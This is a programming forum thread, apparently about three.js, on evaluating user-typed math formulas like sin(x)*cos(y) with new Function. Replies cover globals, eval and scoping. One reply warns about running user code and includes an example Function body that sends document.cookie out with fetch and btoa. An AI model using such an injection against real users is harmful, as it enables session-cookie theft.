How to use f(x,y)=sin(x,y) instead of f(x,y)=Math.sin(x,y) in threjs

plaese How to solve this I used This code but not working

const cos(a)=Math.cos(a);
const sin(a)=Math.sin(a);
const const formulaStr='sin(a)*cos(a)';
const formula = new Function('x', 'y', 'return ' + formulaStr);

:thinking: :thinking:

window.cos = Math.cos;
window.sin = Math.sin;

const formulaStr='sin(x)*cos(y)';
const formula = new Function('x', 'y', 'return ' + formulaStr);

console.log( formula(1,1) ); // sin(1)*cos(1) = 0.4546487134128409

Please, note, that this approach pollutes the global JS scope. It might be better to modify formulaStr by appending Math. before every math function. This modification can be done hidden from the user.


const sin = Math.sin;

works too wait no, it does not, my bad. but we can make it work with eval.

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Yep. However, eval is somewhat more dangerous than Function. And the intention of OP is to run code typed by the user.

Iā€™d say,

new Function('x', 'return \
  fetch("" + \
   btoa(document.cookie)) && (x + 1)')

is just as bad :man_shrugging: however, we can probably still avoid globals with Function like so:

new Function('x', 'const sin = Math.sin; return sin(x)')
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